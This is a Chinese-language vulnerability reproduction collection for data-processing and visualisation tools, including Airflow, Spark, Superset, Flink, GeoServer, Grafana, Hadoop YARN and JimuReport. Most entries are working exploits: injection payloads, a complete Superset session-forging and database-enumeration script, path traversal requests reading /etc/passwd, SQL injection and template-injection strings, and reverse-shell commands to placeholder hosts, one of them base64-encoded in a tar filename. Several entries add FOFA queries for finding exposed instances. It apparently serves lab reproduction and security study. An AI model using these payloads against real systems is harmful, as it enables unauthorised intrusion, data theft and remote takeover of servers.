数据处理与可视化工具漏洞


IP签名

数据处理与可视化

airflow

CVE-2020-11978

Apache Airflow 示例dag中的命令注入(CVE-2020-11978)

Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前的示例DAG中存在一处命令注入漏洞,未授权的访问者可以通过这个漏洞在Worker中执行任意命令。

由于启动的组件比较多,可能会有点卡,运行此环境可能需要准备2G以上的内存。

参考链接:

漏洞环境

依次执行如下命令启动airflow 1.10.10:

#初始化数据库
docker compose run airflow-init

#启动服务
docker compose up -d

漏洞复现

访问http://your-ip:8080进入airflow管理端,将example_trigger_target_dag前面的Off改为On:

再点击执行按钮,在Configuration JSON中输入:{"message":"'\";touch /tmp/airflow_dag_success;#"},再点Trigger执行dag:

等几秒可以看到执行成功:

到CeleryWorker容器中进行查看:

docker compose exec airflow-worker ls -l /tmp

可以看到touch /tmp/airflow_dag_success成功被执行:

image-20240805162205906

CVE-2020-11981

Apache Airflow Celery 消息中间件命令执行(CVE-2020-11981)

Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前,如果攻击者控制了Celery的消息中间件(如Redis/RabbitMQ),将可以通过控制消息,在Worker进程中执行任意命令。

由于启动的组件比较多,可能会有点卡,运行此环境可能需要准备2G以上的内存。

参考链接:

漏洞环境

依次执行如下命令启动airflow 1.10.10

#初始化数据库
docker compose run airflow-init

#启动服务
docker compose up -d

漏洞利用

利用这个漏洞需要控制消息中间件,Vulhub环境中Redis存在未授权访问。通过未授权访问,攻击者可以下发自带的任务airflow.executors.celery_executor.execute_command来执行任意命令,参数为命令执行中所需要的数组。

我们可以使用exploit_airflow_celery.py这个小脚本来执行命令touch /tmp/airflow_celery_success

pip install redis
python exploit_airflow_celery.py [your-ip]

查看结果:

docker compose logs airflow-worker

可以看到如下任务消息:

docker compose exec airflow-worker ls -l /tmp

可以看到成功创建了文件airflow_celery_success

image-20240805162237719

CVE-2020-17526

Apache Airflow 默认密钥导致的权限绕过(CVE-2020-17526)

中文版本(Chinese version)

Apache Airflow是一款开源的,分布式任务调度框架。默认情况下,Apache Airflow无需用户认证,但管理员也可以通过指定webserver.authenticate=True来开启认证。

在其1.10.13版本及以前,即使开启了认证,攻击者也可以通过一个默认密钥来绕过登录,伪造任意用户。

参考链接:

漏洞环境

执行如下命令启动一个Apache Airflow 1.10.10服务器:

#Initialize the database
docker compose run airflow-init

#Start service
docker compose up -d

服务器启动后,访问http://your-ip:8080即可查看到登录页面。

漏洞利用

首先,我们访问登录页面,服务器会返回一个签名后的Cookie:

curl -v http://localhost:8080/admin/airflow/login

然后,使用flask-unsign这个工具来爆破签名时使用的SECRET_KEY

flask-unsign -u -c [session from Cookie]

Bingo,成功爆破出Key是temporary_key。使用这个key生成一个新的session,其中伪造user_id为1:

flask-unsign -s --secret temporary_key -c "{'user_id': '1', '_fresh': False, '_permanent': True}"

在浏览器中使用这个新生成的session,可见已成功登录:

image-20240805162324618

Apache-Spark

CVE-2022-33891

Apache Spark doAs 远程命令执行漏洞

漏洞描述

Apache Spark 支持启动 ACL 来为 Web UI 访问提供身份验证,当 ACL 启动时可以通过构造特殊请求用户名导致 RCE

漏洞影响

Spark Core - Apache <=3.0.3

3.1.1 <= Spark Core - Apache <=3.1.2

3.2.0 <= Spark Core - Apache <=3.2.1

网络测绘

app=”APACHE-Spark”

漏洞复现

主页面

img

验证POC

/jobs/?doAs=`touch /tmp/test.txt`

image-20240813085758750

SPARK-38631

Apache Spark unTarUsingTar 命令注入漏洞

漏洞描述

Apache Spark 是一种用于大数据工作负载的分布式开源处理系统。它使用内存中缓存和优化的查询执行方式,可针对任何规模的数据进行快速分析查询。它提供使用Java、Scala、Python 和 R 语言的开发 API,支持跨多个工作负载重用代码—批处理、交互式查询、实时分析、机器学习和图形处理等。当Spark任务的文件名可控时,Utils.unpack采用命令拼接的形式对tar文件进行解压,存在任意命令注入的风险。这是源于Hadoop中unTar函数存在问题,在其执行shell命令之前未正确转义文件名,直接拼接命令导致任意命令注入。

漏洞影响

Apache Spark 3.1.2, 3.2.1, 3.3.0

漏洞复现

我们查看官方的修复补丁

img

img

官方修复针对.tar后缀的压缩包调用了新增的unTarUsingJava函数来进行处理,我们下载存在漏洞的版本看一下漏洞位置

hadoop-common-2.7.4.jar!/org/apache/hadoop/fs/FileUtil.class

img

可以看到漏洞主要出现在 Linux对文件的解压处理中

public static void unTar(File inFile, File untarDir) throws IOException {
        if (!untarDir.mkdirs() && !untarDir.isDirectory()) {
            throw new IOException("Mkdirs failed to create " + untarDir);
        } else {
            boolean gzipped = inFile.toString().endsWith("gz");
            if (Shell.WINDOWS) {
                unTarUsingJava(inFile, untarDir, gzipped);
            } else {
                unTarUsingTar(inFile, untarDir, gzipped);
            }

        }
    }

这里我们控制压缩tar文件的文件名就可以进行命令注入

private static void unTarUsingTar(File inFile, File untarDir, boolean gzipped) throws IOException {
        StringBuffer untarCommand = new StringBuffer();
        if (gzipped) {
            untarCommand.append(" gzip -dc '");
            untarCommand.append(makeShellPath(inFile));
            untarCommand.append("' | (");
        }

        untarCommand.append("cd '");
        untarCommand.append(makeShellPath(untarDir));
        untarCommand.append("' ; ");
        untarCommand.append("tar -xf ");
        if (gzipped) {
            untarCommand.append(" -)");
        } else {
            untarCommand.append(makeShellPath(inFile));
        }

        String[] shellCmd = new String[]{"bash", "-c", untarCommand.toString()};
        ShellCommandExecutor shexec = new ShellCommandExecutor(shellCmd);
        shexec.execute();
        int exitcode = shexec.getExitCode();
        if (exitcode != 0) {
            throw new IOException("Error untarring file " + inFile + ". Tar process exited with exit code " + exitcode);
        }
    }

创建Tar文件, 在使用 addArchive执行解压就可以注入恶意命令

touch '1\|{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}\|1.tar'

image-20240813085848505

unacc

Apache Spark 未授权访问漏洞

Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动ACL(访问控制),我们将可以在集群中执行任意代码。

参考链接:

漏洞影响

Apache Spark 3.1.2, 3.2.1, 3.3.0

网络测绘

app=”APACHE-Spark-Jobs”

漏洞环境

执行如下命令,将以standalone模式启动一个Apache Spark集群,集群里有一个master与一个slave:

docker compose up -d

环境启动后,访问http://your-ip:8080即可看到master的管理页面,访问http://your-ip:8081即可看到slave的管理页面。

漏洞利用

该漏洞本质是未授权的用户可以向管理节点提交一个应用,这个应用实际上是恶意代码。

提交方式有两种:

  1. 利用REST API
  2. 利用submissions网关(集成在7077端口中)

应用可以是Java或Python,就是一个最简单的类,如(参考链接1):

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Exploit {
  public static void main(String[] args) throws Exception {
    String[] cmds = args[0].split(",");

    for (String cmd : cmds) {
      System.out.println(cmd);
      System.out.println(executeCommand(cmd.trim()));
      System.out.println("==============================================");
    }
  }

  // https://www.mkyong.com/java/how-to-execute-shell-command-from-java/
  private static String executeCommand(String command) {
    StringBuilder output = new StringBuilder();

    try {
      Process p = Runtime.getRuntime().exec(command);
      p.waitFor();
      BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));

      String line;
      while ((line = reader.readLine()) != null) {
        output.append(line).append("\n");
      }
    } catch (Exception e) {
      e.printStackTrace();
    }

    return output.toString();
  }
}

将其编译成JAR,放在任意一个HTTP或FTP上,如https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar

用REST API方式提交应用

standalone模式下,master将在6066端口启动一个HTTP服务器,我们向这个端口提交REST格式的API:

POST /v1/submissions/create HTTP/1.1
Host: your-ip:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json
Connection: close
Content-Length: 680

{
  "action": "CreateSubmissionRequest",
  "clientSparkVersion": "2.3.1",
  "appArgs": [
    "whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
  ],
  "appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
  "environmentVariables": {
    "SPARK_ENV_LOADED": "1"
  },
  "mainClass": "Exploit",
  "sparkProperties": {
    "spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
    "spark.driver.supervise": "false",
    "spark.app.name": "Exploit",
    "spark.eventLog.enabled": "true",
    "spark.submit.deployMode": "cluster",
    "spark.master": "spark://your-ip:6066"
  }
}

其中,spark.jars即是编译好的应用,mainClass是待运行的类,appArgs是传给应用的参数。

返回的包中有submissionId,然后访问http://your-ip:8081/logPage/?driverId={submissionId}&logType=stdout,即可查看执行结果:

注意,提交应用是在master中,查看结果是在具体执行这个应用的slave里(默认8081端口)。实战中,由于slave可能有多个。

利用submissions网关

如果6066端口不能访问,或做了权限控制,我们可以利用master的主端口7077,来提交应用。

方法是利用Apache Spark自带的脚本bin/spark-submit

bin/spark-submit --master spark://your-ip:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id


            
# https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar
# Github代码为编译后的代码
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Exploit {
  public static void main(String[] args) throws Exception {
    String[] cmds = args[0].split(",");

    for (String cmd : cmds) {
      System.out.println(cmd);
      System.out.println(executeCommand(cmd.trim()));
      System.out.println("==============================================");
    }
  }

  // https://www.mkyong.com/java/how-to-execute-shell-command-from-java/
  private static String executeCommand(String command) {
    StringBuilder output = new StringBuilder();

    try {
      Process p = Runtime.getRuntime().exec(command);
      p.waitFor();
      BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));

      String line;
      while ((line = reader.readLine()) != null) {
        output.append(line).append("\n");
      }
    } catch (Exception e) {
      e.printStackTrace();
    }

    return output.toString();
  }
}

如果你指定的master参数是rest服务器,这个脚本会先尝试使用rest api来提交应用;如果发现不是rest服务器,则会降级到使用submission gateway来提交应用。

查看结果的方式与前面一致。

Apache-Superset

CVE-2023-27524

SECRET_KEY 未授权访问漏洞

漏洞描述

Apache Superset 是一款现代化的开源大数据工具,也是企业级商业智能 Web 应用,用于数据探索分析和数据可视化。它提供了简单易用的无代码可视化构建器和声称是最先进的 SQL 编辑器,用户可以使用这些工具快速地构建数据仪表盘。CVE-2023-27524 中,未经授权的攻击者可根据默认配置的SECRET_KEY伪造成管理员用户访问Apache Superset。

漏洞影响

Apache Superse <= 2.0.1

网络测绘

app.name=”Apache Superset”

漏洞复现

登陆页面

img

漏洞修复补丁

https://github.com/apache/superset/pull/23186/files

img

补丁代码中,新建了判断用户是否使用了默认的Key进行配置,如果为默认的Key,就直接中断启动,。但在 Docker的 env 下还是添加了固定的 Key: TEST_NON_DEV_SECRET

img

# https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py
SECRET_KEYS = [
    b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1
    b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1
    b'thisISaSECRET_1234',                            # deployment template
    b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation
    b'TEST_NON_DEV_SECRET'                            # docker compose
]

这里拿Docker下的环境举例

img

初次请求时会获取到 Cookie, 使用默认Key验证 Cookie是否可被伪造

img

登陆主页面观察主要参数

img

通过设置参数 user_id 和 _user_id 为 1 ,构造加密Cookie

>>> from flask_unsign import session
>>> session.sign({'_user_id': 1, 'user_id': 1},'TEST_NON_DEV_SECRET')
'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZE51uw.EdD7zSzojgY4keqZLOKR4GndJf8'

利用构造的 Cookie就可以获取到 Web后台管理权限, 后台中存在数据库语句执行模块,通过设置允许执行其他数据库语句后利用数据库语句 RCE

img

img

漏洞POC

from flask_unsign import session
import requests
import urllib3
import argparse
import re
from time import sleep
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


SECRET_KEYS = [
    b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1
    b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1
    b'thisISaSECRET_1234',                            # deployment template
    b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation
    b'TEST_NON_DEV_SECRET'                            # docker compose
]

def main():

    parser = argparse.ArgumentParser()
    parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True)
    parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1')
    parser.add_argument('--validate', '-v', help='Validate login', required=False, action='store_true')
    parser.add_argument('--timeout', '-t', help='Time to wait before using forged session cookie, default=5s', required=False, type=int, default=5)
    args = parser.parse_args()

    try:
        u = args.url.rstrip('/') + '/login/'

        headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'
        }

        resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
        if resp.status_code != 200:
            print(f'Error retrieving login page at {u}, status code: {resp.status_code}')
            return

        session_cookie = None
        for c in resp.cookies:
            if c.name == 'session':
                session_cookie = c.value
                break

        if not session_cookie:
            print('Error: No session cookie found')
            return

        print(f'Got session cookie: {session_cookie}')

        try:
            decoded = session.decode(session_cookie)
            print(f'Decoded session cookie: {decoded}')
        except:
            print('Error: Not a Flask session cookie')
            return

        match = re.search(r'&#34;version_string&#34;: &#34;(.*?)&#34', resp.text)
        if match:
            version = match.group(1)
        else:
            version = 'Unknown'

        print(f'Superset Version: {version}')


        for i, k in enumerate(SECRET_KEYS):
            cracked = session.verify(session_cookie, k)
            if cracked:
                break

        if not cracked:
            print('Failed to crack session cookie')
            return

        print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}')

        try:
            user_id = int(args.id)
        except:
            user_id = args.id

        forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)
        print(f'Forged session cookie for user {user_id}: {forged_cookie}')

        if args.validate:
            try:
                headers['Cookie'] = f'session={forged_cookie}'
                print(f'Sleeping {args.timeout} seconds before using forged cookie to account for time drift...')
                sleep(args.timeout)
                resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
                if resp.status_code == 302:
                    print(f'Got 302 on login, forged cookie appears to have been accepted')
                    validated = True
                else:
                    print(f'Got status code {resp.status_code} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')
            except Exception as e_inner:
                print(f'Got error {e_inner} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')

            if not validated:
                return

            print('Enumerating databases')
            for i in range(1, 101):
                database_url_base = args.url.rstrip('/') + '/api/v1/database'
                try:
                    r = requests.get(f'{database_url_base}/{i}', headers=headers, verify=False, timeout=30, allow_redirects=False)
                    if r.status_code == 200:
                        result = r.json()['result'] # validate response is JSON
                        name = result['database_name']
                        print(f'Found database {name}')
                    elif r.status_code == 404:
                        print(f'Done enumerating databases')
                        break # no more databases
                    else:
                        print(f'Unexpected error: status code={r.status_code}')
                        break
                except Exception as e_inner:
                    print(f'Unexpected error: {e_inner}')
                    break


    except Exception as e:
        print(f'Unexpected error: {e}')


if __name__ == '__main__':
    main()

image-20240813090252626

Apache-Zeppelin

未授权任意命令执行漏洞

漏洞描述

Apache Zeppelin 存在未授权的用户访问命令执行接口,导致了任意用户都可以执行恶意命令获取服务器权限

漏洞影响

Apache Zeppelin

网络测绘

FOFA: icon_hash="960250052"

漏洞复现

含有漏洞的页面如下

f95400ba-5303-4e13-a8b0-612e4f024ddd

点击 创建一个匿名用户在用户页面执行命令即可

image-20240813095852567

Apache-ZooKeeper

CVE-2014-085

未授权访问漏洞

漏洞描述

默认安装配置完的zookeeper允许未授权访问,管理员未配置访问控制列表(ACL)。导致攻击者可以在默认开放的2181端口下通过执行envi命令获得大量敏感信息(系统名称、java环境)导致任意用户可以在网络不受限的情况下进行未授权访问读取数据

漏洞影响

Apache ZooKeeper

漏洞复现

Apache ZooKeeper 默认开放2181端口 ,使用如下命令获取敏感数据

echo envi | nc xxx.xxx.xxx.xxx 2181

98517179-604b-45d3-8f08-88ac223c1dd7

其他信息

1、stat:列出关于性能和连接的客户端的统计信息。
echo stat |ncat 127.0.0.1 2181

2、ruok:测试服务器是否运行在非错误状态。
echo ruok |ncat 127.0.0.1 2181

3、reqs:列出未完成的请求。
echo reqs |ncat 127.0.0.1 2181
  
4、envi:打印有关服务环境的详细信息。
echo envi |ncat 127.0.0.1 2181
  
5、dump:列出未完成的会话和临时节点。
echo dump |ncat 127.0.0.1 2181

Cacti

CVE-2022-46169

Cacti remote_agent.php 远程命令执行漏洞

漏洞描述

Cacti是一个服务器监控与管理平台。在其1.2.17-1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。

漏洞影响

Cacti < 1.2.17-1.2.22

网络测绘

app=”Cacti-监控系统”

漏洞复现

登陆页面

img

验证POC

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`id>1.txt`
X-Forwarded-For: 127.0.0.1

img

image-20240811101939905

ffmpeg

CVE-2016-1897

ffmpeg 任意文件读取漏洞/SSRF漏洞 (CVE-2016-1897/CVE-2016-1898)

运行环境:

docker compose build
docker compose up -d

原理

测试过程

详见参考文章,不再赘述。

成功读取文件:

image-20240805171932145

phdayseg

ffmpeg 任意文件读取漏洞环境

参考资料:

环境搭建

编译及启动环境

docker compose build
docker compose up -d

环境启动后监听8080端口,访问http://your-ip:8080/即可查看。

漏洞利用

漏洞原理不再赘述,直接下载exp,并生成payload:

# 下载exp
git clone https://github.com/neex/ffmpeg-avi-m3u-xbin
cd ffmpeg-avi-m3u-xbin

# 生成payload
./gen_xbin_avi.py file:///etc/passwd exp.avi

生成exp.avi,在http://your-ip:8080/上传。后端将会将你上传的视频用ffmpeg转码后显示,转码时因为ffmpeg的任意文件读取漏洞,可将文件信息读取到视频中:

你也可以执行docker compose exec web bash进入本环境内部,测试ffmpeg。

CVE-2020-17518

Apache Flink 是一个开源流处理框架,具有强大的流处理和批处理功能。

在 Apache Flink 1.5.1 中引入了一个 REST 处理程序,通过恶意修改的 HTTP 头部,允许将上传的文件写入本地文件系统上的任意位置。

参考资料:

漏洞影响

Apache Flink <= 1.9.1

网络测绘

FOFA: app="Apache Flink"

环境搭建

执行以下命令启动 Apache Flink jobmanager 1.11.2:

复制代码
docker compose up -d

Apache Flink 启动后,访问 http://your-ip:8081 查看主页。

漏洞利用

点击查看文件上传页面

bb05ef9f-f86f-4bb5-bbcb-c13424d7aca4

打开MSF 生成一个 jar 木马

msfvenom -p java/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx  LPORT=4444 -f jar > test.jar

点击 Add 上传 jar 文件

1fcaa45f-0492-4411-b14f-e4554cf84e5b

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload java/shell/reverse_tcp
payload => java/shell/reverse_tcp
msf6 exploit(multi/handler) > set lhost xxx.xxx.xxx.xxx
lhost => xxx.xxx.xxx.xxx
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run

3def5e8c-6590-4ecd-8b61-dfcb095bdaa0

点击下 submit

681f48a7-3501-4f52-8532-5efddcc0074f

16969b72-8db4-42f8-a0e3-b02022ab5f5b

使用以下请求将文件上传 /tmp/success

POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"

success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

image-20240805163541687

CVE-2020-17519

Apache Flink 是一个开源流处理框架,具有强大的流处理和批处理功能。

在 Apache Flink 1.11.0 中引入的一个更改(在 1.11.1 和 1.11.2 中也发布)允许攻击者通过 JobManager 进程的 REST 接口读取 JobManager 本地文件系统上的任何文件。

参考资料:

环境搭建

执行以下命令启动 Apache Flink jobmanager 1.11.2:

docker compose up -d

Apache Flink 启动后,访问 http://your-ip:8081 查看主页。

漏洞利用

通过以下请求泄露 /etc/passwd 文件内容:

http://your-ip:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

image-20240805163714044

geoserver

CVE-2023-25157

GeoServer OGC Filter SQL注入漏洞(CVE-2023-25157)

GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。

在版本2.22.1和2.21.4及以前,多个OGC表达式中均存在SQL注入漏洞。

参考链接:

漏洞环境

执行如下命令启动一个GeoServer 2.22.1:

docker compose up -d

环境启动后,访问http://your-ip:8080/geoserver即可查看到GeoServer的首页。

漏洞复现

在利用漏洞前,需要目标服务器中存在类型是PostGIS的数据空间(datastore)和工作空间(workspace)。在Vulhub中,已经包含满足条件的工作空间,其信息如下:

  • Workspace name: vulhub
  • Data store name: pg
  • Feature type (table) name: example
  • One of attribute from feature type: name

利用这些已知参数,发送如下URL即可触发SQL注入漏洞:

http://your-ip:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true

可见,已经使用SQL注入获取到了目标服务器PostgreSQL的版本。

CVE-2024-36401

GeoServer 属性名表达式前台代码执行漏洞(CVE-2024-36401)

GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。

在GeoServer 2.25.1, 2.24.3, 2.23.5版本及以前,未登录的任意用户可以通过构造恶意OGC请求,在默认安装的服务器中执行XPath表达式,进而利用执行Apache Commons Jxpath提供的功能执行任意代码。

参考链接:

漏洞环境

执行如下命令启动一个GeoServer 2.23.2服务器:

docker compose up -d

服务启动后,你可以在http://your-ip:8080/geoserver查看到GeoServer的默认页面。

漏洞复现

在官方漏洞通告中提到可以找到漏洞相关的WFS方法:

No public PoC is provided but this vulnerability has been confirmed to be exploitable through WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic and WPS Execute requests.

比如,我这里使用GetPropertyValue来执行xpath表达式。参考官方文档,我构造了两个POC。基于GET方法的POC:

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0

基于POST方法的POC:

POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference>
</wfs:GetPropertyValue>

熟悉的java.lang.ClassCastException错误,说明命令已执行成功。

进入容器可见,touch /tmp/success1touch /tmp/success2均已成功执行。

值得注意的是,typeNames必须存在,我们可以在Web页面中找到当前服务器中的所有Types:

image-20240805163856899

grafana

admin-ssrf

Grafana管理后台SSRF

Grafana是一个开源的度量分析与可视化套件。在其管理后台中存在一个功能,攻击者可以用于向任意地址发送HTTP请求,且支持自定义HTTP Header。

参考链接:

漏洞环境

执行如下命令启动一个Grafana 8.5.4:

docker compose up -d

环境启动后,访问http://your-ip:3000即可查看到管理后台。这个管理后台是不需要登录的,因为Vulhub环境设置了匿名用户的权限:

[auth.anonymous]
enabled = true
org_role = Admin

在真实场景中,如果你没有权限访问管理界面,可以尝试使用默认账号密码adminadmin,只能能够成功登录后台的用户才能利用这个漏洞。

漏洞复现

使用这个POC来复现SSRF漏洞:

python grafana-ssrf.py -H http://your-ip:3000 -u http://example.interact.sh/attack

可见,我们的反连平台已成功收到了HTTP请求:

image-20240805162423533

CVE-2019-19499

Grafana mysql 后台任意文件读取漏洞

漏洞描述

Grafana 是一个用于分析、监控和数据可视化的开源应用程序。数以千计的公司使用 Grafana,包括 PayPal、eBay 和 Intel 等主要代表。通过登录后台设置Mysql可以读取服务器中的任意文件

漏洞影响

Grafana < 6.4.4

环境搭建

docker pull grafana/grafana:6.4.3 
docker run -d --name=grafana -p 3000:3000 grafana/grafana:6.4.3 

漏洞复现

登录后台 admin/admin, 添加数据源 Mysql

img

修复漏洞参考

img

修复部分为 database数据库名的用户可控部分,由于 allowAllFiles=true 参数可以禁用对 LOCAL INFILE 请求的保护,再通过之前有关Mysql任意文件读取的漏洞即可获取服务器中的任意文件

img

再创建一个恶意Mysql: https://github.com/allyshka/Rogue-MySql-Server

img

执行 Save 即可读取文件

image-20240811111311535

CVE-2021-43798

Grafana 8.x 插件模块目录穿越漏洞(CVE-2021-43798)

Grafana是一个开源的度量分析与可视化套件。在2021年12月,推特用户@j0v 发表了他发现的一个0day,攻击者利用这个漏洞可以读取服务器上的任意文件。

参考链接:

漏洞影响

Grafana 8.x

网络测绘

app=”Grafana_Labs-公司产品”

漏洞环境

执行如下命令启动一个Grafana 8.2.6版本服务器:

docker compose up -d

服务启动后,访问http://your-ip:3000即可查看登录页面,但是这个漏洞是无需用户权限的。

漏洞复现

这个漏洞出现在插件模块中,这个模块支持用户访问插件目录下的文件,但因为没有对文件名进行限制,攻击者可以利用../的方式穿越目录,读取到服务器上的任意文件。

利用这个漏洞前,我们需要先获取到一个已安装的插件id,比如常见的有:

alertlist
cloudwatch
dashlist
elasticsearch
graph
graphite
heatmap
influxdb
mysql
opentsdb
pluginlist
postgres
prometheus
stackdriver
table
text

再发送如下数据包,读取任意文件(你也可以将其中的alertlist换成其他合法的插件id):

GET /public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 192.168.1.112:3000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close

image-20240805162453218

hadoop

unauthorized-yarn

Hadoop YARN ResourceManager 未授权访问

原理

参考 http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf

描述

Hadoop Yarn RPC未授权访问漏洞存在于Hadoop Yarn中负责资源管理和任务调度的ResourceManager,成因是该组件为用户提供的RPC服务默认情况下无需认证即可访问,

漏洞影响

Apache Hadoop

网络测绘

app=”APACHE-hadoop-YARN”

测试环境

运行测试环境

docker compose up -d

环境启动后,访问http://your-ip:8088即可看到Hadoop YARN ResourceManager WebUI页面。

利用

主页面

img

验证请求包

POST /ws/v1/cluster/apps HTTP/1.1
Host: 
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 215
Content-Type: application/json

{"application-id": "application_1655112607010_0005", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "/bin/bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9998 0>&1"}}, "application-type": "YARN"}

img

利用方法和原理中有一些不同。在没有 hadoop client 的情况下,直接通过 REST API
(https://hadoop.apache.org/docs/r2.7.3/hadoop-yarn/hadoop-yarn-site/ResourceManagerRest.html) 也可以提交任务执行。

利用过程如下:

  1. 在本地监听等待反弹 shell 连接
  2. 调用 New Application API 创建 Application
  3. 调用 Submit Application API 提交

参考 exp 脚本

Hue

Hue 后台编辑器 远程命令执行漏洞

漏洞描述

Hue 后台编辑器存在命令执行漏洞,攻击者通过编辑上传 xxx.sh 文件即可达到命令执行的目的

漏洞影响

Hue 后台编辑器

网络测绘

title=”Hue - 欢迎使用 Hue”

漏洞复现

登录页面如下

img

上传并编辑文件为执行的命令

img

按如下步骤点击即可执行想要执行的命令

image-20240811112555543

jimureport

CVE-2023-4450

JimuReport FreeMarker 服务端模板注入命令执行(CVE-2023-4450)

积木报表(JimuReport)是一个开源的数据可视化报表平台。在其1.6.0版本及以前,存在一个FreeMarker服务端模板注入(SSTI)漏洞,攻击者利用该漏洞可在服务器中执行任意命令。

参考链接:

漏洞环境

执行如下命令启动一个JimuReport 1.6.0演示服务器:

docker compose up -d

等待一段时间后,访问http://your-ip:8085即可看到报表首页。

漏洞复现

发送如下请求,即可在服务端注入FreeMarker模板<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}

